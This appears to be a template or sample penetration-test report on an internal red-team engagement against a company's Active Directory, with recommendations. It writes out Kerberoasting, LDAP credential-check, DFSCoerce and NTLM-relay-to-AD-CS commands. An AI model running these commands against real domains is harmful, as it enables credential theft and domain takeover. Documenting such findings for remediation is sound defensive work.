Sample Company Ltd.

Report for Internal Red Teaming Assignment

January 25, 2024

Document Details

Table of Contents:

The following gives detailed information about the structure of the document:

Document History:

The following gives an overview of the release history of this document:

Table 1 - Document History

Release Date	Description	Author
January 24, 2024	Initial Release	Naunet John
January 25, 2024	Revision 1	Naunet Jane

Distribution List:

The below table contains the list of client employees who are the designated recipients of this document:

Table 2 – Distribution List

Name	E-mail Address
John Doe	john.doe@client.com
Jane Doe	jane.doe@client.com

Restrictions and Legal

This document and the information contained within is confidential and provided solely for Sample Company Ltd's informational purposes and internal use.

This document is not intended to be and should not be used by any person or entity other than Sample Company Ltd. without the explicit written permission of Naunet.

Sample Company Ltd. may choose to share the information contained in this report with auditors of relevant compliance frameworks under non-disclosure agreement.

Any unauthorized copying, distribution, and publishing, or dissemination of the information including sharing with any third party is strictly prohibited.

These materials and the information contained herein are provided by Naunet and are intended to provide general information on a particular subject or subjects and are not an exhaustive treatment of such subjects.

Accordingly, the information in these materials is not intended to constitute any professional advice or services. The information is not intended to be relied upon as the sole basis for any decision which may affect Sample Company Ltd's business.

These materials and the information contained therein are provided as is, and Naunet makes no express or implied representations or warranties regarding these materials, or the information contained therein. Without limiting the foregoing, Naunet does not warrant that the materials or information contained therein will be error-free or will meet any criteria of performance or quality. Naunet expressly disclaims all implied warranties, including, without limitation, warranties of merchantability, title, fitness for a particular purpose, non-infringement, compatibility, security, and accuracy.

Sample Company Ltd's use of these materials and information contained therein is at your own risk, and you assume full responsibility and risk of loss resulting from the use thereof. Naunet will not be liable for any special, indirect, incidental, consequential, or punitive damages or any other damages whatsoever, whether in an action of contract, statute, tort (including, without limitation, negligence), or otherwise, relating to the use of these materials or the information contained therein.

Differently form the above written in case the information and materials are expressly provided as final performance of a contract concluded between Sample Company Ltd and Naunet, Naunet takes liability that the service has been provided and the product - if any - has been prepared contractually. Naunet excludes all liability for damages arising out of or in connection with the documents, materials, information, and data provided by Sample Company Ltd. For all the questions not ruled herein, the relating contract shall be applicable.

In this document Sample Company Ltd. may also be referred to as "Sample Company" or the "company" or in context as the "client", as well as VoidSec Kft. may also be referred to as "Naunet".

If any of the foregoing is not fully enforceable for any reason, the remainder shall nonetheless continue to apply completely.

VoidSec Kft. Contact Information:
info@naunet.eu
Hungary 2903
Komárom
Tamási Áron utca 4.

Assignment Summary

Assignment Summary

Sample Company Ltd. engaged VoidSec Kft. for its services to perform a continuous Internal Red Teaming assignment.

The primary objective of the assignment is to perform and imitate cyber-attack scenarios and exercises in order to uncover and identify vulnerabilities or configuration weaknesses, gaps in defensive measures, which may allow an attacker to stay undetected and hidden in the network environment of the company.

Following the identification of vulnerabilities during this engagement, Sample Company is advised to implement appropriate measures to remediate these vulnerabilities and enhance the overall security posture of their internal network infrastructure.

Assignment Disclaimer

We performed our testing from January 2, 2024, to January 6, 2024, and afterwards, we created this report and finalized the supporting documentation. Consequently, the findings presented in this report reflect the security status of the tested target systems and applications as of the last day of the testing period and should be treated as a snapshot in time.

Management Summary

The scope of the assessment was defined as the following:

- **Internal Red Teaming** to perform a security assessment and red-teaming assignment for an AD joined end-user device.

During the **Internal Red Teaming Assignment**, one high-risk issue was identified.

“Kerberoastable” Service Account with Excessive Privileges: We found domain admin accounts that were “kerberoastable”. “Kerberoasting” is a technique that involves extracting service account credentials with weak encryption, which can then be cracked offline to obtain the account's plaintext password. An attacker has the capability of using offline tools to conduct a brute-force attack on high privilege user accounts, thereby evading detection from any defensive mechanisms.

Recommendation: We recommend launching an investigation into the legitimacy of the listed domain accounts as well as into any other accounts that have their SPN field set.

Assignment Conclusion

We recommend mitigating the misconfigurations described in this report and performing a re-test to validate whether applied fixes are effective.

The detailed description of all found issues, the associated risks, and the recommendations to reduce the risks can be found in the following parts of this document.

Assignment Details

Assignment Background

Naunet was tasked to conduct a security assessment, which included an Internal Red Teaming Assignment. Confidentiality, integrity, and availability of IT assets play a vital role in the business model and processes of Sample Company.

Assignment Goal

The project goal was to identify any existing security vulnerabilities, which might be exploitable by an attacker with network-level access such as a malicious employee.

Scope of the Red Teaming Assignment

The following gives an overview specified as the scope of the Internal Red Teaming Assignment.

The scope of the assignment is defined as a security assessment for a client.local AD joined end-user device.

Performed Services

The following gives an overview of the performed services:

- **Internal Red Teaming**, where the assignment was addressing the internal facing infrastructure of communication channels and publicly available data.

Methodology

For the Internal Red Teaming Assignment, we have used the following methodology:

While conducting the Internal Red Teaming Assignment, we applied our own threat emulation methodology, which is aligned with the MITRE ATTACK Framework, and corresponding documentation to perform such exercises. Our methodology is aligned with the NIST recommendations outlined for penetration testing (NIST Special Publication 800-115, NIST Special Publication 800-12 Revision 1), as well as processes outlined by various publications made by ENISA.

For the projects we use the following steps to outline, design, perform, and assess the goals, methods, and results of the assignment:

- Choose an area of focus based on a subset of cyber-attacks which have public analysis available.
- Choose corresponding MITRE ATTACK techniques.
- Choose and develop tools to perform chosen techniques.
- Execute the technique using the specified tools.
- Document the results, potentially plan further action.
- Using the documentation found in this document, analyze detections.
- Make recommendations based on the detections.

Note: Please note that the above steps serve only as a reference, and the actual performed services may use multiple steps at once and may cycle through iteratively on sub-sections multiple times based on the results. Information gathered during the engagement may be used to change the exact end goals of the assignment, to uncover as much as possible during the time allocated.

For more information on the limitations and reasoning behind not performed test types please see the following section.

The assignment was performed with a focus on executing the necessary tests in a covert manner.

The performed testing does not necessitate any cleanup on the target systems in scope of the assignment.

The list of applied tools for the analysis can be found in the Testing Infrastructure and Tool Details section of this document.

Limitations Faced During the Test

The following list gives an overview of the limitations faced during the project:

- The scope of the test did not include the following IP address: 10.1.0.10.

Findings of the Red Teaming Assignment:

The following table gives an overview of our findings of the Red Teaming Assignment.

Table 3 - Findings of the Red Teaming Assignment

Finding ID	Name	Issue Type	Vulnerability Type	Risk	Status
RT-1	“Kerberoastable” Service Account with Excessive Privileges	Infrastructure	Security Misconfiguration	High	Open
RT-2	Vulnerable Certificate Services (AD CS) Server	Infrastructure	Security Misconfiguration	Low	Open
RT-3	Weak Password Policy	Infrastructure	Security Misconfiguration	Low	Open
RT-4	Flat Network Structure	Infrastructure	Insecure Design	Low	Open

Detailed Findings

The following section contains the detailed technical descriptions of the misconfiguration or security weakness related findings of the assignment.

RT-1: “Kerberoastable” Service Account with Excessive Privileges

Targets	Finding Status	Overall Risk	Critical
samplecompany.local Active Directory Domain	Open	Impact	High
		Likelihood	High

Description

We found domain admin accounts that were “kerberoastable”. “Kerberoasting” is a technique that involves extracting service account credentials encrypted with the relatively weak RC4 encryption from a Kerberos ticket, which can then be cracked offline to obtain the account's plaintext password.

An Active Directory account to be considered “kerberoastable” the following conditions must be met:

- The account must have a “servicePrincipalName” field set which specifies the SPN (Service Principal Names). The SPN is a requirement to have the right to request Kerberos service tickets.
- The account must have a weak password that can be cracked using offline wordlist-based brute-forcing.

Based on the SPN we queried a domain controller using LDAP queries with the following filter:

```
(&(objectClass=user)(objectCategory=user)(servicePrincipalName=*))
```

Upon examination of the responses, we found that the users "domainadmin1@samplecompany.local" and "domainadmin2@samplecompany.local" held domain admin privileges, as they were part of the “Domain Admins” user group.

To initiate offline brute-forcing, a Kerberos service ticket is required, since the ticket will be encrypted using the credentials of the account, which we requested using the Impacket tool suite.

We obtained a ticket using the following command from our testing machine:

```
impacket-GetUserSPNs 'SAMPLECOMPANY.LOCAL/attackerdomainaccount' -request-user srvadfs
```

The gathered service ticket was cracked using the “rockyou” wordlist which is considered a weak baseline. We have extended the list by using commonly available rulesets. The password was recovered within seconds of launching the attack with hardware resources that would be considered trivial.

We found the that following “kerberoastable” users had passwords that could be trivially retrieved using offline brute force attacks:

Table 4 - Affected user accounts

Username	Privilege Level
domainadmin1	Domain Admin
domainadmin2	Domain Admin
user1	Domain User
user2	Domain User

To verify the credentials, we performed an LDAP bind request using the “ldapsearch” Linux utility:

```
ldapsearch -x -H ldap://10.10.10.10 -D 'domainadmin1@samplecompany.local' -W
ldapsearch -x -H ldap://10.10.10.10 -D 'domainadmin2@samplecompany.local' -W
```

As a result, we were able to establish a connection to a DC (Domain Controller) located at IP address 10.10.10.10, with domain administrator privileges and this is considered complete domain compromise.

Impact

An attacker has the capability of using offline tools to conduct a brute-force attack on high privilege user accounts, thereby evading detection from any defensive mechanisms.

A password that never expires may allow an attacker to gather the ticket and attempt cracking it later, when the computing power necessary to crack a non-trivial password is available.

Likelihood

An attacker needs access to the “samplecompany.local” Active Directory domain network and needs valid credentials to perform the aforementioned queries. The likelihood of recovering the credentials from an obtained service ticket purely rests on the complexity of the used password.

Recommendation

We recommend launching an investigation into the legitimacy of the listed domain accounts as well as into any other accounts that have their SPN field set.

Furthermore, we recommend a review of all accounts with domain-administrator privileges.

References

For more information about the performed attack method please visit the relevant MITRE ATTACK reference page:

https://attack.mitre.org/techniques/T1558/003/

The “rockyou” wordlist used as the base wordlist:

https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt

RT-2: Vulnerable Certificate Services (AD CS) Server

Targets	Finding Status	Overall Risk	Low
SAMPLEADCS01@samplecompany.local 10.10.10.11	Open	Impact	Low
		Likelihood	Low

Description

We were able to obtain a valid certificate in the name of "SAMPLEDC01" Domain Controller machine using the "SampleAuthentication" certificate template by coercing the Domain Controller machine to authenticate to our testing machine and then relaying NetNTLMv2 to the AD CS HTTP endpoint. Furthermore, we were able to obtain a TGT for Kerberos authentication using this certificate.

We used DFSCoerce (see References section for more information) to make the target machine authenticate to our NTLM relay endpoint on port 445 using the following command:

```
.\dfscoerce.py -u 'attacker-controlled-user' -p 'attacker-password' 10.20.20.20 10.10.10.10
```

Where 10.10.10.10 is the IP address for the Domain Controller machine SAMPLEDC01, and 10.20.20.20 is the IP address of the attacker-controlled workstation SAMPLEWST01.

After the successful coerce attack, we relayed the NetNTLMv2 hash to request a certificate in the name of SAMPLEDC01. We used the “Impacket” library’s “ntlmrelayx” tool for this with the following command on Kali Linux:

```
sudo impacket-ntlmrelayx -debug -smb2support -t http://
SAMPLEADCS01.samplecompany.local/certsrv/certfnsh.asp --template
DomainControllerAuthentication --adcs
```

The AD CS server returned a signed certificate to our certificate signing request (CSR).

We then successfully used the obtained certificate to request a TGT certificate.

Note: Please note that this attack can be used against domain users as well with a different certificate template. The only certificate template that "SAMPLECOMPANY.LOCAL\Domain Users" could enroll into the template "Sample User for Sample Service" which has client authentication enabled.

Impact

An attacker can obtain certificates in any Domain user's name or any Domain Controller's name.

Likelihood

An attacker needs network access to use this attack. The likelihood was lowered by the fact that the blue-team was alerted during the NTLM relay with a detailed report from Defender.

Recommendation

We recommend launching an investigation into the possibility of disabling HTTP/HTTPS based NTLM authentication as a long-term solution.

In case it is not possible for backwards compatibility reasons we recommend enabling "Management approval" process for all enabled certificate templates so that attackers cannot automatically enroll a valid certification automatically without manual review and approval.

We further recommend reviewing the enabled template " *Sample User for Sample Service*" that could be used to obtain domain users' certificate with this attack.

References

https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf

https://github.com/Wh04m1001/DFSCoerce

RT-3: Weak Password Policy

Targets	Finding Status	Overall Risk	Low
samplecompany.local Active Directory Domain	Open	Impact	Low
		Likelihood	Low

Description

After a successful brute-force attack, we found that the account password was under 9 characters in length and appeared on the list of most commonly used wordlist: rockyou.txt (please see the references of this issue).

Impact

An attacker can guess easy passwords exponentially easier.

Likelihood

An attacker needs an interface to try the passwords or needs a token to brute-force offline.

Recommendation

We recommend the following security measures for high-privilege accounts:

- Passwords should be at least 14 characters long.
- At least one uppercase character must be included in the password.
- The password should contain a minimum of two numbers, preferably not just at the end of the string.
- A minimum of two special characters

Note: Please note that the conditions above can still be trivially typed with a "pass phrase" password which are words connected by special characters.

Please see the following password as an example for such pass phrase:

```
T1nted@Gl4ss@W1ndows
```

That example is easy to remember because:

- The phrase is coherent, however has no company related trivial meaning: “tinted glass windows”
- Every first vowel is replaced by the correspondent number: i => 1, a => 4, o=>0, e => 3, u has no such number
- Every word starts with uppercase
- At least 3 words long
- The words are concatenated with a special character like !@#$%^&*, in this case the same one

Note: Please note that some special characters have the same place for both the English layouts and the Hungarian layout, like following characters:

```
.%
```

In any case where password sharing is not needed and manual typing is not necessary, we recommend using completely randomized character strings as passwords with at least 20 characters long and using a company approved password manager.

References

For more information about password policy requirement please visit the NIST Special Publication 800-63B:

https://pages.nist.gov/800-63-3/sp800-63b.html

The “rockyou” wordlist used as the base wordlist:

https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt

RT-4: Flat Network Structure

Targets	Finding Status	Overall Risk	Low
samplecompany.local vpn.samplecompany.com	Open	Impact	Low
		Likelihood	Low

Description

We have observed that the vpn.samplecompany.com VPN gateway provides overly permissive access to Sample Company's internal network environment.

The complete 10.0.0.0/8 IPv4 private network is configured to be statistically routed through the VPN tunnel, and we have observed no network segmentation mechanisms in the network environment the VPN endpoint is connected to.

The routed private network has over 16 million usable IP addresses which is an unnecessarily large pool of addresses compared to the network's actual size based on detected alive hosts.

The lack of observable network segmentation within the environment may allow lateral movement across the entire internal network once access is gained.

Impact

An attacker with valid VPN credentials or a malicious employee can access an excessive number of internal services and may use this access to gather information about the network environment and launch further attacks.

The VPN configuration profile does not require the connecting host computer to be enrolled in AD (Active Directory) environment which limits control over the used software on the connecting host, potentially allowing known malicious tools to be present without the need for any bypass techniques.

This may lead to data theft, unauthorized system modifications, or potentially even complete network compromise.

Likelihood

An attacker needs working VPN credentials and the client application installed to connect to the internal network.

The necessary VPN software is only available to customers of the Cisco AnyConnect VPN solution however it can be downloaded from unofficial sources trivially. Finding the VPN endpoints to use with the software would also be trivial.

Recommendation

We recommend launching an investigation to map the exact structure of the internal network, and to identify potential ways to segment and separate network resources to implement the principal of least privilege.

We recommend implementing access control rules for the internal network and configuring the VPN gateway to grant access to only those subnets essential for the endpoint user's specific work requirements.

References

For more information about the VPN configuration described in the description, please visit the following pages:

https://www.cisco.com/site/us/en/products/security/firewalls/index.html

https://www.cisco.com/c/en/us/support/docs/security/asa-5500-x-series-next-generation-firewalls/113449-asa-vpn-acs-00.html

Testing Infrastructure and Tool Details

Description of the testing infrastructure:

The below table contains the details of the operating systems used during the assignment:

Table 5 - Details of the operating systems used during the assignment

Operating System	Used Version
Kali Linux	Rolling 2023.1
MacOS Ventura	Version 13.1

We performed our external facing test using the following public IP addresses:

Table 6 - Details of the public IP address used during testing

IPv4 Address	ISP	ASN	Country	City
81.183.236.252	Magyar Telekom	AS5483	Hungary	Budapest

List of Tools used during testing:

The below table gives an overview of the specific tools we have used during this specific assignment.

Note: Generic operating system utilities such GNU packages within a Linux distribution will not be listed below, furthermore if a tool has been updated or upgraded during the testing period, only the latest used version information will be listed below.

Table 7 - Details of the tools used during the assessment

Tools Name	Description	Used Version
Tool #1	Tool Description #1	Version 1.0.
Tool #2	Tool Description #2	N/A

Finding Risk Details

Risk Details

We use the following risk ratings: Informational, Low, Medium, High and Critical. These categories offer limited accuracy however they represent that during an assignment the complete context and relevant technical information related to findings may only be partially available.

During the risk calculation process due to the limited information, time and resources of an assignment and specific goal, we do not “compress” or “inflate” the calculated findings to be accurate on an organizational level. The calculated risk does not represent a potential priority for mitigation on an organizational level, as other risks may be present in out-of-scope systems.

The Informational category is reserved for findings that are by themselves do not represent direct risk to Sample Company, however the finding’s existence may hold valuable information.

Given that new vulnerabilities in operating systems and applications are discovered daily and system configurations change frequently, these results are based on publicly available vulnerability information and the system configurations at the time of testing. Consequently, new vulnerabilities may have emerged since then, or existing weaknesses may have been addressed.

Customers should perform their own assessments to align these findings with their information security management risk rating methodology. Additionally, customers should determine if and how to implement the recommended remediation activities. A thorough risk rating requires internal knowledge of the company's business requirements and organizational processes.

Note: Please note that the report may include "False Positives" due to a lack of access to all necessary system or design information. Therefore, all results must be verified to confirm their corresponding risk.

The following Risk Calculation Matrix describes how the risk rating and potential advice for further action is derived from the Likelihood and Impact:

Impact \ Likelihood				
High	Medium	High	Critical
Medium	Low	Medium	High
Low	Low	Low	Medium
Informational	Low	Medium	High

Table 8 – Risk Calculation Matrix

Impact Details

Quantifying potential damage without a detailed financial risk assessment is challenging, so we use a scenario-based approach. To provide a comprehensive overview of the risk environment in the audited areas, we consider various factors, including but not limited to the confidentiality, integrity, and availability of information; the impact on technical operations; the potential effects on reputation and customer satisfaction; the risk of potential penalties or legal consequences; the financial impact; the implications for customer safety; and other relevant aspects.

Our professional judgement, based on our experience, leads us to categorize vulnerabilities by their potential impact.

High: Findings that enable attackers to manipulate sensitive information, damage Sample Company's reputation, obtain unauthorized access to sensitive information (such as financial information or Personal Identifiable Information), or obtain unauthorized access to the applications or infrastructure of Sample Company are to be categorized as high impact.

Medium: Medium impact findings are that may still allow attackers to damage Sample Company's reputation or obtain unauthorized access to Sample Company's information, however the privileges an attacker could obtain by taking advantage of these vulnerabilities are limited and are likely to depend on other weaknesses and other resources to be usable for accessing sensitive information.

Low: Low impact findings do not pose an immediate threat, but may ultimately expose sensitive information, offering valuable intelligence to potential attackers. These vulnerabilities provide only restricted access to the system and limited operational risk to Sample Company.

Note: Please note that in the described system, impact by itself cannot be classified as critical.

Likelihood Details

The likelihood of a vulnerability being exploited is assessed based on three critical factors: the ease of discovery, the number of potential attackers with access to it, and the resources and expertise needed to execute an exploit. The probability of exploitation is then categorized as follows:

High: Findings with high likelihood can be easily identified and exploited by malicious actors. They are broadly accessible to numerous attackers, requiring only minimal technical expertise and resources to leverage.

Medium: Medium-likelihood findings require a more advanced approach for exploitation. They are not easily detectable and are accessible to a limited pool of attackers. Exploiting these vulnerabilities demands higher technical expertise or significant resources.

Low: Low-likelihood vulnerabilities are challenging to exploit due to their limited discoverability, restricted access to a small number of potential attackers, or the need for advanced expertise and sophisticated resources to execute an exploit.

Note: Please note that in the described system, likelihood by itself cannot be classified as critical.